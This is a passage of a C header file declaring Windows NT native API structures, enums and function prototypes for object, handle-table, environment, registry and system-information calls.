SecurityDescriptorLength;\n    LARGE_INTEGER CreateTime;\n} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;\n\n//\n// NtQueryObject uses ObjectNameInformation\n//\n\ntypedef struct _OBJECT_NAME_INFORMATION\n{\n    UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n\n//\n// NtQueryObject uses ObjectTypeInformation\n//\n\ntypedef struct _OBJECT_TYPE_INFORMATION\n{\n    UNICODE_STRING TypeName;\n    ULONG TotalNumberOfObjects;\n    ULONG TotalNumberOfHandles;\n    ULONG TotalPagedPoolUsage;\n    ULONG TotalNonPagedPoolUsage;\n    ULONG TotalNamePoolUsage;\n    ULONG TotalHandleTableUsage;\n    ULONG HighWaterNumberOfObjects;\n    ULONG HighWaterNumberOfHandles;\n    ULONG HighWaterPagedPoolUsage;\n    ULONG HighWaterNonPagedPoolUsage;\n    ULONG HighWaterNamePoolUsage;\n    ULONG HighWaterHandleTableUsage;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    BOOLEAN SecurityRequired;\n    BOOLEAN MaintainHandleCount;\n    ULONG PoolType;\n    ULONG DefaultPagedPoolCharge;\n    ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\n\ntypedef struct _OBJECT_TYPES_INFORMATION\n{\n    ULONG NumberOfTypes;\n    OBJECT_TYPE_INFORMATION TypeInformation[1];\n} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION;\n\n//\n// NtQueryObject uses ObjectHandleFlagInformation\n// NtSetInformationObject uses ObjectHandleFlagInformation\n//\n\ntypedef struct _OBJECT_HANDLE_FLAG_INFORMATION\n{\n    BOOLEAN Inherit;\n    BOOLEAN ProtectFromClose;\n} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;\n\n//\n// NtQueryDirectoryObject uses this type\n//\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION\n{\n    UNICODE_STRING Name;\n    UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObject(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenDirectoryObject(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryObject(\n    IN HANDLE DirectoryHandle,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN BOOLEAN ReturnSingleEntry,\n    IN BOOLEAN RestartScan,\n    IN OUT PULONG Context,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryObject (\n    IN HANDLE ObjectHandle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID ObjectInformation,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationObject (\n    IN HANDLE ObjectHandle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    IN PVOID ObjectInformation,\n    IN ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateObject (\n    IN HANDLE SourceProcessHandle,\n    IN HANDLE SourceHandle,\n    IN HANDLE TargetProcessHandle OPTIONAL,\n    OUT PHANDLE TargetHandle OPTIONAL,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Options\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG DescriptorLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG DescriptorLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetSecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetSecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtMakeTemporaryObject(\n    IN HANDLE ObjectHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwMakeTemporaryObject(\n    IN HANDLE ObjectHandle\n    );\n\n//-----------------------------------------------------------------------------\n// Handle table RTL functions\n\n#define LEVEL_HANDLE_ID         0x74000000\n#define LEVEL_HANDLE_ID_MASK    0xFF000000\n#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF\n\ntypedef enum _RTL_GENERIC_COMPARE_RESULTS\n{\n    GenericLessThan,\n    GenericGreaterThan,\n    GenericEqual\n} RTL_GENERIC_COMPARE_RESULTS;\n\n\ntypedef struct _RTL_SPLAY_LINKS\n{\n    struct _RTL_SPLAY_LINKS *Parent;\n    struct _RTL_SPLAY_LINKS *LeftChild;\n    struct _RTL_SPLAY_LINKS *RightChild;\n} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;\n\n\nstruct _RTL_GENERIC_TABLE;\n\ntypedef\nRTL_GENERIC_COMPARE_RESULTS\n(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    PVOID FirstStruct,\n    PVOID SecondStruct\n    );\n\ntypedef\nPVOID\n(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    ULONG ByteSize\n    );\n\ntypedef\nVOID\n(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    PVOID Buffer\n    );\n\n\ntypedef struct _RTL_GENERIC_TABLE\n{\n    PRTL_SPLAY_LINKS TableRoot;\n    LIST_ENTRY InsertOrderList;\n    PLIST_ENTRY OrderedPointer;\n    ULONG WhichOrderedElement;\n    ULONG NumberGenericTableElements;\n    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;\n    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;\n    PRTL_GENERIC_FREE_ROUTINE FreeRoutine;\n    PVOID TableContext;\n} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;\n\n\ntypedef struct _RTL_HANDLE_TABLE_ENTRY\n{\n    ULONG Flags;\n    struct _RTL_HANDLE_TABLE_ENTRY *NextFree;\n} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;\n\n\ntypedef struct _RTL_HANDLE_TABLE\n{\n    ULONG MaximumNumberOfHandles;\n    ULONG SizeOfHandleTableEntry;\n    ULONG Reserved[2];\n    PRTL_HANDLE_TABLE_ENTRY FreeHandles;\n    PRTL_HANDLE_TABLE_ENTRY CommittedHandles;\n    PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;\n    PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;\n} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,\n    IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,\n    IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine,\n    IN PVOID TableContext\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeHandleTable(\n    IN ULONG MaximumNumberOfHandles,\n    IN ULONG SizeOfHandleTableEntry,\n    OUT PRTL_HANDLE_TABLE HandleTable\n    );\n\nNTSYSAPI\nPRTL_HANDLE_TABLE_ENTRY\nNTAPI\nRtlAllocateHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    OUT PULONG HandleIndex OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    IN PRTL_HANDLE_TABLE_ENTRY Handle\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidIndexHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    IN ULONG HandleIndex,\n    OUT PRTL_HANDLE_TABLE_ENTRY *Handle\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PVOID Buffer,\n    IN LONG BufferSize,\n    OUT PBOOLEAN NewElement OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n    IN PRTL_GENERIC_TABLE Table\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n    IN PRTL_GENERIC_TABLE Table\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PVOID Buffer\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableWithoutSplaying(\n    IN  PRTL_GENERIC_TABLE Table,\n    IN  PVOID *RestartKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClose(\n    IN  HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClose(\n    IN  HANDLE Handle\n    );\n\n//-----------------------------------------------------------------------------\n// Environment functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOpenCurrentUser(\n    IN ULONG DesiredAccess,\n    OUT PHANDLE CurrentUserKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateEnvironment(\n    BOOLEAN CloneCurrentEnvironment,\n    PVOID *Environment\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExpandEnvironmentStrings_U(\n    IN PVOID Environment OPTIONAL,\n    IN PUNICODE_STRING Source,\n    OUT PUNICODE_STRING Destination,\n    OUT PULONG ReturnedLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryEnvironmentVariable_U(\n    IN PVOID Environment,\n    IN PUNICODE_STRING Name,\n    OUT PUNICODE_STRING Value\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDosSearchPath_U(\n    IN PCWSTR lpPath,\n    IN PCWSTR lpFileName,\n    IN PCWSTR lpExtension OPTIONAL,\n    IN ULONG nBufferLength,\n    OUT PWSTR lpBuffer,\n    OUT PWSTR *lpFilePart\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentVariable(\n    PVOID *Environment,\n    PUNICODE_STRING Name,\n    PUNICODE_STRING Value\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyEnvironment(\n    PVOID Environment\n    );\n\n//-----------------------------------------------------------------------------\n// Registry functions\n\ntypedef enum _KEY_INFORMATION_CLASS\n{\n    KeyBasicInformation,\n    KeyNodeInformation,\n    KeyFullInformation,\n    KeyNameInformation,\n    KeyCachedInformation,\n    KeyFlagsInformation\n\n} KEY_INFORMATION_CLASS;\n\ntypedef enum _KEY_VALUE_INFORMATION_CLASS\n{\n    KeyValueBasicInformation = 0,\n    KeyValueFullInformation,\n    KeyValuePartialInformation,\n    KeyValueFullInformationAlign64,\n    KeyValuePartialInformationAlign64\n} KEY_VALUE_INFORMATION_CLASS;\n\ntypedef enum _KEY_SET_INFORMATION_CLASS\n{\n    KeyWriteTimeInformation,\n    KeyUserFlagsInformation,\n    MaxKeySetInfoClass\n} KEY_SET_INFORMATION_CLASS;\n\ntypedef struct _KEY_BASIC_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;\n\ntypedef struct _KEY_NODE_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG ClassOffset;\n    ULONG ClassLength;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;\n\ntypedef struct _KEY_FULL_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG ClassOffset;\n    ULONG ClassLength;\n    ULONG SubKeys;\n    ULONG MaxNameLen;\n    ULONG MaxClassLen;\n    ULONG Values;\n    ULONG MaxValueNameLen;\n    ULONG MaxValueDataLen;\n    WCHAR Class[1];\n} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;\n\ntypedef struct _KEY_NAME_INFORMATION\n{\n    WCHAR Name[1];\n} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;\n\ntypedef struct _KEY_CACHED_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG SubKeys;\n    ULONG MaxNameLen;\n    ULONG Values;\n    ULONG MaxValueNameLen;\n    ULONG MaxValueDataLen;\n    ULONG NameLength;\n    WCHAR Name[1];            // Variable length string\n} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;\n\ntypedef struct _KEY_FLAGS_INFORMATION\n{\n    ULONG   UserFlags;\n} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;\n\ntypedef struct _KEY_VALUE_BASIC_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;\n\ntypedef struct _KEY_VALUE_FULL_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG DataOffset;\n    ULONG DataLength;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;\n\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG DataLength;\n    UCHAR Data[1];\n} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadKey(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadKey2(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags\n    );\n\n// NtLoadKeyEx for Windows 2003 server\ntypedef NTSTATUS (NTAPI * NTLOADKEYEX_3790)(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags,\n    IN HANDLE TrustClassKey OPTIONAL\n    );\n\n// NtLoadKeyEx for Windows Vista to Windows 8.1\ntypedef NTSTATUS (NTAPI * NTLOADKEYEX)(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags,\n    IN HANDLE TrustClassKey OPTIONAL,\n    IN PVOID Param5,\n    IN PVOID Param6,\n    IN PVOID Param7,\n    IN PVOID Param8\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnloadKey(\n    IN POBJECT_ATTRIBUTES TargetKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateKey(\n    OUT PHANDLE KeyHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG TitleIndex,\n    IN  PUNICODE_STRING Class OPTIONAL,\n    IN  ULONG CreateOptions,\n    OUT PULONG Disposition OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenKey(\n    OUT PHANDLE KeyHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtEnumerateKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\n    IN PVOID KeyInformation,\n    IN ULONG Length,\n    IN PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwEnumerateKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\n    IN PVOID KeyInformation,\n    IN ULONG Length,\n    IN PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtEnumerateValueKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID  KeyValueInformation,\n    IN  ULONG  Length,\n    OUT PULONG  ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwEnumerateValueKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID  KeyValueInformation,\n    IN  ULONG  Length,\n    OUT PULONG  ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteKey(\n    IN HANDLE KeyHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryKey(\n    IN  HANDLE KeyHandle,\n    IN  KEY_INFORMATION_CLASS KeyInformationClass,\n    OUT PVOID KeyInformation OPTIONAL,\n    IN  ULONG Length,\n    OUT PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID KeyValueInformation,\n    IN ULONG Length,\n    OUT PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN ULONG TitleIndex OPTIONAL,\n    IN ULONG Type,\n    IN PVOID Data,\n    IN ULONG DataSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushKey(\n    IN HANDLE KeyHandle\n    );\n\n//-----------------------------------------------------------------------------\n// RtlQueryRegistryValues\n\n//\n// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE\n// entry is interpreted.  A NULL name indicates the end of the table.\n//\n\n#define RTL_QUERY_REGISTRY_SUBKEY   0x00000001  // Name is a subkey and remainder of\n                                                // table or until next subkey are value\n                                                // names for that subkey to look at.\n\n#define RTL_QUERY_REGISTRY_TOPKEY   0x00000002  // Reset current key to original key for\n                                                // this and all following table entries.\n\n#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004  // Fail if no match found for this table\n                                                // entry.\n\n#define RTL_QUERY_REGISTRY_NOVALUE  0x00000008  // Used to mark a table entry that has no\n                                                // value name, just wants a call out, not\n                                                // an enumeration of all values.\n\n#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010  // Used to suppress the expansion of\n                                                // REG_MULTI_SZ into multiple callouts or\n                                                // to prevent the expansion of environment\n                                                // variable values in REG_EXPAND_SZ\n\n#define RTL_QUERY_REGISTRY_DIRECT   0x00000020  // QueryRoutine field ignored.  EntryContext\n                                                // field points to location to store value.\n                                                // For null terminated strings, EntryContext\n                                                // points to UNICODE_STRING structure that\n                                                // that describes maximum size of buffer.\n                                                // If .Buffer field is NULL then a buffer is\n                                                // allocated.\n                                                //\n\n#define RTL_QUERY_REGISTRY_DELETE   0x00000040  // Used to delete value keys after they\n                                                // are queried.\n\n\n//\n// The following values for the RelativeTo parameter determine what the\n// Path parameter to RtlQueryRegistryValues is relative to.\n//\n\n#define RTL_REGISTRY_ABSOLUTE     0             // Path is an absolute registry path.\n#define RTL_REGISTRY_SERVICES     1             // Path is relative to \\Registry\\Machine\\System\\CurrentControlSet\\Services\n#define RTL_REGISTRY_CONTROL      2             // Path is relative to \\Registry\\Machine\\System\\CurrentControlSet\\Control\n#define RTL_REGISTRY_WINDOWS_NT   3             // Path is relative to \\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\n#define RTL_REGISTRY_DEVICEMAP    4             // Path is relative to \\Registry\\Machine\\Hardware\\DeviceMap\n#define RTL_REGISTRY_USER         5             // Path is relative to \\Registry\\User\\CurrentUser. (For a system process, this is \\User\\.Default)\n#define RTL_REGISTRY_MAXIMUM      6\n#define RTL_REGISTRY_HANDLE       0x40000000    // Specifies that the Path parameter is actually a registry handle to use\n#define RTL_REGISTRY_OPTIONAL     0x80000000    // Specifies that the key referenced by this parameter and the Path parameter are optional\n\n\ntypedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(\n    IN PWSTR ValueName,\n    IN ULONG ValueType,\n    IN PVOID ValueData,\n    IN ULONG ValueLength,\n    IN PVOID Context,\n    IN PVOID EntryContext\n    );\n\ntypedef struct _RTL_QUERY_REGISTRY_TABLE\n{\n    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;\n    ULONG Flags;\n    PWSTR Name;\n    PVOID EntryContext;\n    ULONG DefaultType;\n    PVOID DefaultData;\n    ULONG DefaultLength;\n} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryRegistryValues(\n    IN ULONG  RelativeTo,\n    IN PCWSTR  Path,\n    IN PRTL_QUERY_REGISTRY_TABLE  QueryTable,\n    IN PVOID  Context,\n    IN PVOID  Environment OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Query system information\n\ntypedef enum _SYSTEM_INFORMATION_CLASS\n{\n    SystemBasicInformation,                     // 0x00\n    SystemProcessorInformation,                 // 0x01\n    SystemPerformanceInformation,               // 0x02\n    SystemTimeOfDayInformation,                 // 0x03\n    SystemPathInformation,                      // 0x04 (Obsolete: Use KUSER_SHARED_DATA)\n    SystemProcessInformation,                   // 0x05\n    SystemCallCountInformation,                 // 0x06\n    SystemDeviceInformation,                    // 0x07\n    SystemProcessorPerformanceInformation,      // 0x08\n    SystemFlagsInformation,                     // 0x09\n    SystemCallTimeInformation,                  // 0x0a\n    SystemModuleInformation,                    // 0x0b\n    SystemLocksInformation,                     // 0x0c\n    SystemStackTraceInformation,                // 0x0d\n    SystemPagedPoolInformation,                 // 0x0e\n    SystemNonPagedPoolInformation,              // 0x0f\n    SystemHandleInformation,                    // 0x10\n    SystemObjectInformation,                    // 0x11\n    SystemPageFileInformation,                  // 0x12\n    SystemVdmInstemulInformation,               // 0x13\n    SystemVdmBopInformation,                    // 0x14\n    SystemFileCacheInformation,                 // 0x15\n    SystemPoolTagInformation,                   // 0x16\n    SystemInterruptInformation,                 // 0x17\n    SystemDpcBehaviorInformation,               // 0x18\n    SystemFullMemoryInformation,                // 0x19\n    SystemLoadGdiDriverInformation,             // 0x1a\n    SystemUnloadGdiDriverInformation,           // 0x1b\n    SystemTimeAdjustmentInformation,            // 0x1c\n    SystemSummaryMemoryInformation,             // 0x1d\n    SystemMirrorMemoryInformation,              // 0x1e\n    SystemPerformanceTraceInformation,          // 0x1f\n    SystemObsolete0,                            // 0x20\n    SystemExceptionInformation,                 // 0x21\n    SystemCrashDumpStateInformation,            // 0x22\n    SystemKernelDebuggerInformation,            // 0x23\n    SystemContextSwitchInformation,             // 0x24\n    SystemRegistryQuotaInformation,             // 0x25\n    SystemExtendServiceTableInformation,        // 0x26\n    SystemPrioritySeperation,                   // 0x27\n    SystemPlugPlayBusInformation,               // 0x28\n    SystemDockInformation,                      // 0x29\n    SystemPowerInformationNative,               // 0x2a\n    SystemProcessorSpeedInformation,            // 0x2b\n    SystemCurrentTimeZoneInformation,           // 0x2c\n    SystemLookasideInformation,\n    SystemTimeSlipNotification,\n    SystemSessionCreate,\n    SystemSessionDetach,\n    SystemSessionInformation,\n    SystemRangeStartInformation,\n    SystemVerifierInformation,\n    SystemAddVerifier,\n    SystemSessionProcessesInformation,\n    SystemLoadGdiDriverInSystemSpaceInformation,\n    SystemNumaProcessorMap,\n    SystemPrefetcherInformation,\n    SystemExtendedProcessInformation,\n    SystemRecommendedSharedDataAlignment,\n    SystemComPlusPackage,\n    SystemNumaAvailableMemory,\n    SystemProcessorPowerInformation,\n    SystemEmulationBasicInformation,\n    SystemEmulationProcessorInformation,\n    SystemExtendedHandleInformation,\n    SystemLostDelayedWriteInformation,\n    SystemBigPoolInformation,\n    SystemSessionPoolTagInformation,\n    SystemSessionMappedViewInformation,\n    SystemHotpatchInformation,\n    SystemObjectSecurityMode,\n    SystemWatchDogTimerHandler,\n    SystemWatchDogTimerInformation,\n    SystemLogicalProcessorInformation,\n    SystemWo64SharedInformationObosolete,\n    SystemRegisterFirmwareTableInformationHandler,\n    SystemFirmwareTableInformation,\n    SystemModuleInformationEx,\n    SystemVerifierTriageInformation,\n    SystemSuperfetchInformation,\n    SystemMemoryListInformation,\n    SystemFileCacheInformationEx,\n    SystemThreadPriorityClientIdInformation,\n    SystemProcessorIdleCycleTimeInformation,\n    SystemVerifierCancellationInformation,\n    SystemProcessorPowerInformationEx,\n    SystemRefTraceInformation,\n    SystemSpecialPoolInformation,\n    SystemProcessIdInformation,\n    SystemErrorPortInformation,\n    SystemBootEnvironmentInformation,\n    SystemHypervisorInformation,\n    SystemVerifierInformationEx,\n    SystemTimeZoneInformation,\n    SystemImageFileExecutionOptionsInformation,\n    SystemCoverageInformation,\n    SystemPrefetchPathInformation,\n    SystemVerifierFaultsInformation,\n    MaxSystemInfoClass,\n} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;\n\n//\n// Thread priority\n//\n\ntypedef LONG KPRIORITY;\n\n//\n// Information Structures for NtQuerySystemInformation\n//\ntypedef struct _SYSTEM_BASIC_INFORMATION\n{\n    ULONG Reserved;\n    ULONG TimerResolution;\n    ULONG PageSize;\n    ULONG NumberOfPhysicalPages;\n    ULONG LowestPhysicalPageNumber;\n    ULONG HighestPhysicalPageNumber;\n    ULONG AllocationGranularity;\n    ULONG_PTR MinimumUserModeAddress;\n    ULONG_PTR MaximumUserModeAddress;\n    ULONG_PTR ActiveProcessorsAffinityMask;\n    CCHAR NumberOfProcessors;\n} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;\n\n// Class 1\ntypedef struct _SYSTEM_PROCESSOR_INFORMATION\n{\n    USHORT ProcessorArchitecture;\n    USHORT ProcessorLevel;\n    USHORT ProcessorRevision;\n    USHORT Reserved;\n    ULONG ProcessorFeatureBits;\n} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;\n\n// Class 2\ntypedef struct _SYSTEM_PERFORMANCE_INFORMATION\n{\n    LARGE_INTEGER IdleProcessTime;\n    LARGE_INTEGER IoReadTransferCount;\n    LARGE_INTEGER IoWriteTransferCount;\n    LARGE_INTEGER IoOtherTransferCount;\n    ULONG IoReadOperationCount;\n    ULONG IoWriteOperationCount;\n    ULONG IoOtherOperationCount;\n    ULONG AvailablePages;\n    ULONG CommittedPages;\n    ULONG CommitLimit;\n    ULONG PeakCommitment;\n    ULONG PageFaultCount;\n    ULONG CopyOnWriteCount;\n    ULONG TransitionCount;\n    ULONG CacheTransitionCount;\n    ULONG DemandZeroCount;\n    ULONG PageReadCount;\n    ULONG PageReadIoCount;\n    ULONG CacheReadCount;\n    ULONG CacheIoCount;\n    ULONG DirtyPagesWriteCount;\n    ULONG DirtyWriteIoCount;\n    ULONG MappedPagesWriteCount;\n    ULONG MappedWriteIoCount;\n    ULONG PagedPoolPages;\n    ULONG NonPagedPoolPages;\n    ULONG PagedPoolAllocs;\n    ULONG PagedPoolFrees;\n    ULONG NonPagedPoolAllocs;\n    ULONG NonPagedPoolFrees;\n    ULONG FreeSystemPtes;\n    ULONG ResidentSystemCodePage;\n    ULONG TotalSystemDriverPages;\n    ULONG TotalSystemCodePages;\n    ULONG NonPagedPoolLookasideHits;\n    ULONG PagedPoolLookasideHits;\n    ULONG Spare3Count;\n    ULONG ResidentSystemCachePage;\n    ULONG ResidentPagedPoolPage;\n    ULONG ResidentSystemDriverPage;\n    ULONG CcFastReadNoWait;\n    ULONG CcFastReadWait;\n    ULONG CcFastReadResourceMiss;\n    ULONG CcFastReadNotPossible;\n    ULONG CcFastMdlReadNoWait;\n    ULONG CcFastMdlReadWait;\n    ULONG CcFastMdlReadResourceMiss;\n    ULONG CcFastMdlReadNotPossible;\n    ULONG CcMapDataNoWait;\n    ULONG CcMapDataWait;\n    ULONG 